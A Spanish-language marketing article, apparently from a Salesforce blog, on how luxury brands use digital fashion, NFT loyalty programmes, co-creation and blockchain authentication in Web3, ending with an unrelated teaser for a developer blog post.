En un informe reciente de Roblox Metaverse Fashion Trends , el 47% de los encuestados dijeron que usan la moda digital para expresar su individualidad. Y el 45% dijo que sus avatares representaban un personaje de fantasía. No es de extrañar que muchas marcas de lujo como Burberry, Gucci y Louis Vuitton estén experimentando.
A medida que las marcas exploran estas nuevas plataformas, es importante considerar la estrategia: mantenerse fiel a los valores fundamentales de su marca y cómo desea que sus clientes "vivan la marca".
“Los productos digitales desafían la cadena de valor del producto tradicional: desde el diseño hasta la producción, la distribución y el compromiso”, dijo Laura Puricelli, asesora de moda de lujo del metaverso. “Los activos digitales pueden ser infinitamente creativos, sin límites físicos en términos de materiales”.
Los modelos comerciales que se aplicaron a los productos físicos no siempre se traducirán en activos digitales. Es importante que las marcas consideren estos nuevos canales de compromiso y cómo las personas quieren expresarse allí.
Las marcas de lujo se enfocan en brindar experiencias memorables, compromiso personalizado y membresía para la lealtad a la marca. Esto es también en lo que las generaciones más jóvenes ponen más énfasis. Siguiendo el ejemplo de las tendencias minoristas de lujo, las marcas se están enfocando más en estas experiencias únicas, y menos en los programas de puntos, para ganar la lealtad de los consumidores más jóvenes.
Entonces, ¿qué papel juegan Web3 y NFT? En los últimos años, las empresas han utilizado proyectos de metaversos , realidad virtual y NFT para crear las experiencias de cliente seleccionadas que desean los compradores más jóvenes. A través de proyectos NFT, las marcas crearon comunidades con beneficios exclusivos y acceso temprano a productos y servicios. Las marcas encontraron nuevos medios de participación: la 'utilidad' de un token.
Por ejemplo, la marca de ropa Scotch & Soda lanzó 1000 NFT como parte de su iniciativa piloto Club Soda 3.0 , un tipo de programa de fidelización. Los poseedores de tokens reciben acceso exclusivo a eventos especiales y acceso anticipado a productos. El programa ayudó a atraer a una audiencia compuesta por un 30 % de nuevos clientes y 2000 identificaciones de billetera.
Para hacer esto, comenzaron a promocionar Club Soda 3.0 a través de sus canales de medios tradicionales y luego lanzaron un sitio de preventa. Los clientes que se registraron obtuvieron acceso a un canal de Discord, lo que reunió a estos defensores de la marca en una comunidad en línea.
El rumor funcionó, ya que acuñaron los 1,000 NFT de Founders Pass en el primer día. También ayudó a incorporar a sus consumidores que quizás no conocían antes las tecnologías Web3. Ahora han construido relaciones más profundas con sus clientes, quienes ahora son parte de una comunidad exclusiva.
Del mismo modo, marcas como Gucci, Moncler y Balmain han lanzado colecciones NFT que otorgan acceso exclusivo a un producto o evento físico.
Algunas marcas de lujo también ven esto como una puerta de entrada para atraer nuevos clientes a un precio más bajo. Otros tienen como objetivo crear valor para los poseedores de fichas a través de la creación conjunta y la colaboración. A medida que estas empresas continúan experimentando, estamos viendo cómo evolucionan casos de uso y experiencias más emocionantes.
Los activos digitales y la prueba de propiedad han provocado un incendio en la economía de los creadores. Artistas, diseñadores e influencers han encontrado nuevas formas de ser recompensados, captando nuevas audiencias en nuevas plataformas.
Las marcas de lujo han utilizado esta tendencia para mostrar el talento a través de la cocreación y la colaboración. Marcas como Porsche, Salvatore Ferragamo y Nike están co-creando con sus clientes y creativos. A través de NFT, han lanzado colecciones creadas conjuntamente de obras de arte digitales y productos físicos.
Al aprovechar las tendencias minoristas de lujo de co-crear con creativos digitales y clientes, las empresas pueden lanzar productos más rápido. Las marcas también pueden capitalizar una tendencia más rápido de esta manera. Gucci x Superplastic y Balmain x Barbie son solo dos ejemplos. Esta colaboración no solo genera una mayor conciencia de marca, sino que las empresas pueden probar el éxito de una colaboración en pequeños lotes antes de lanzar una colección completa.
También puede usar la creación conjunta para mejorar sus conexiones con un segmento específico, definido por la propiedad de NFT.
Por ejemplo, Tiffany & Co. se dirigió a los titulares de Cryptopunk NFT con su colección NFTiff . La colección resultó en $ 12,5 millones de ingresos y se agotó en 20 minutos . Los titulares de Cryptopunk NFT obtuvieron acceso exclusivo para comprar un NFTiff, canjeable por un colgante personalizado de su avatar Cryptopunk.
Siguiendo el ejemplo de las tendencias minoristas de lujo, las marcas se están enfocando más en estas experiencias únicas, y menos en los programas de puntos, para ganar la lealtad de los consumidores más jóvenes.
Se espera que los mercados globales de reventa de artículos de lujo superen los 51.000 millones de dólares para 2026, lo que significa que las marcas deben encontrar una manera de autenticar sus productos. Y a medida que los consumidores se vuelven más conscientes a la hora de tomar decisiones de compra, aumenta la demanda de trazabilidad de los insumos.
Blockchain ofrece una solución potencial. La tecnología permite un libro mayor inmutable, una forma a prueba de manipulaciones para registrar transacciones. Esto permite la trazabilidad de la propiedad y cuenta la historia de un producto. Podemos rastrear los orígenes de un producto, a través de la cadena de suministro y la propiedad, y garantizar la autenticidad.
Marcas como el relojero de lujo suizo Vacheron Constantin (relojero de lujo suizo) han utilizado la tecnología blockchain para certificar digitalmente la propiedad, lo que permite a los propietarios verificar el historial de propiedad e incluso asegurarlo.
Las regalías se pueden codificar en un certificado digital, de modo que, tras la transferencia, una parte de la transferencia vuelva a la marca.
A medida que los consumidores se vuelven más conscientes y crece el mercado de reventa, las regalías son una forma para que las marcas sigan obteniendo ingresos por sus productos y servicios.
Hemos visto cómo las empresas han utilizado nuevas estrategias para construir en Web3. Las marcas se están alejando de la comunicación unidireccional hacia la construcción de una comunidad para involucrar a los clientes.
Al liderar con la creación de valor y la creación conjunta, las marcas pueden crear lealtad y satisfacer las demandas de los consumidores más jóvenes.
Para los minoristas que están considerando estas tendencias y una estrategia Web3, les recomendamos:
Descubra cómo puede lanzar su marca a nuevos mundos digitales. Cuando su estrategia Web3 se basa en tecnología segura y sostenible, puede profundizar la lealtad del cliente y unir las experiencias digitales y físicas.
Obtenga una mirada más detallada al rendimiento de Lightning Experience, conozca las áreas de mejora y los próximos pasos planificados en los próximos lanzamientos.
La publicación Lightning Experience with Lightning Speed (¿Ya llegamos?) apareció por primera vez en el blog de desarrolladores de Salesforce .
Seguir leyendo